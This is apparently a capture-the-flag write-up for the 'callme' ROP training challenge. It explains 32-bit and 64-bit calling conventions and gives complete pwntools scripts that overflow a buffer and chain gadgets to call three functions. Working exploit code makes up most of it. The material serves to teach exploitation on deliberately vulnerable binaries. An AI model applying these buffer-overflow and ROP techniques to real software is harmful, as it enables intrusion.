callme
{"author": ["ret2basic"]}

32bit

Solution

This challenge intends to teach calling conventions in depth. Recall that 32-bit binaries store function arguments on the stack:
1
function
2
return_address,
3
arg1,
4
arg2,
5
arg3
Copied!
What if we want to call multiple functions? The trick is to "clean up" the stack after each function call. In our case, each function takes three arguments, so we find a pop pop pop ret gadget. One candidate is pop esi ; pop edi ; pop ebp ; ret. If we use this gadget as the return address for each function, the three arguments for the current function will be popped off the stack.

Exploit

1
#!/usr/bin/env python3
2
from pwn import *
3
4
#--------Setup--------#
5
6
context(arch="i386", os="linux")
7
elf = ELF("callme32", checksec=False)
8
9
#--------Offset--------#
10
11
p = elf.process()
12
pattern = cyclic(1024)
13
p.sendlineafter("> ", pattern)
14
p.wait()
15
core = p.corefile
16
p.close()
17
os.remove(core.file.name)
18
offset = cyclic_find(core.eip)
19
20
log.info(f"{offset = }")
21
22
#--------ROP--------#
23
24
callme_one = elf.plt["callme_one"]
25
callme_two = elf.sym["callme_two"]
26
callme_three = elf.plt["callme_three"]
27
# ROPgadget --binary callme32 --only "pop|ret"
28
pop_pop_pop_ret = 0x080487f9
29
30
arg1 = 0xdeadbeef
31
arg2 = 0xcafebabe
32
arg3 = 0xd00df00d
33
34
payload = flat(
35
b"A" * offset,
36
37
# Function 1
38
callme_one,
39
pop_pop_pop_ret, # return address for callme_one
40
arg1, arg2, arg3, # args for callme_one
41
42
# Function 2
43
callme_two,
44
pop_pop_pop_ret, # return address for callme_two
45
arg1, arg2, arg3, # args for callme_two
46
47
# Function 3
48
callme_three,
49
pop_pop_pop_ret, # return address for callme_three
50
arg1, arg2, arg3, # args for callme_three
51
)
52
53
p = elf.process()
54
55
p.sendlineafter("> ", payload)
56
57
p.interactive()
Copied!

64bit

Solution

The 64-bit case is even simpler. Here we simply find a pop rdi ; pop rsi ; pop rdx ; ret gadget to set up the arguments and call the function. Repeat the same process for each function.

Exploit

1
#!/usr/bin/env python3
2
from pwn import *
3
4
#--------Setup--------#
5
6
context(arch="amd64", os="linux")
7
elf = ELF("callme", checksec=False)
8
9
#--------Offset--------#
10
11
p = elf.process()
12
pattern = cyclic(1024)
13
p.sendlineafter("> ", pattern)
14
p.wait()
15
core = p.corefile
16
p.close()
17
os.remove(core.file.name)
18
offset = cyclic_find(core.read(core.rsp, 4))
19
20
log.info(f"offset: {offset}")
21
22
#--------ROP--------#
23
24
callme_one = elf.plt["callme_one"]
25
callme_two = elf.plt["callme_two"]
26
callme_three = elf.plt["callme_three"]
27
# ROPgadget --binary callme --only "pop|ret" | grep rdi
28
pop_rdi_rsi_rdx = 0x40093c
29
ret = 0x4006be
30
31
arg1 = 0xdeadbeefdeadbeef
32
arg2 = 0xcafebabecafebabe
33
arg3 = 0xd00df00dd00df00d
34
35
payload = flat(
36
b"A" * offset,
37
38
# Function 1
39
pop_rdi_rsi_rdx, arg1, arg2, arg3,
40
ret, callme_one,
41
42
# Function 2
43
pop_rdi_rsi_rdx, arg1, arg2, arg3,
44
ret, callme_two,
45
46
# Function 3
47
pop_rdi_rsi_rdx, arg1, arg2, arg3,
48
ret, callme_three,
49
)
50
51
p = elf.process()
52
53
p.sendlineafter("> ", payload)
54
55
p.interactive()
Copied!
Last modified 5mo ago
Copy link
Contents
32bit
64bit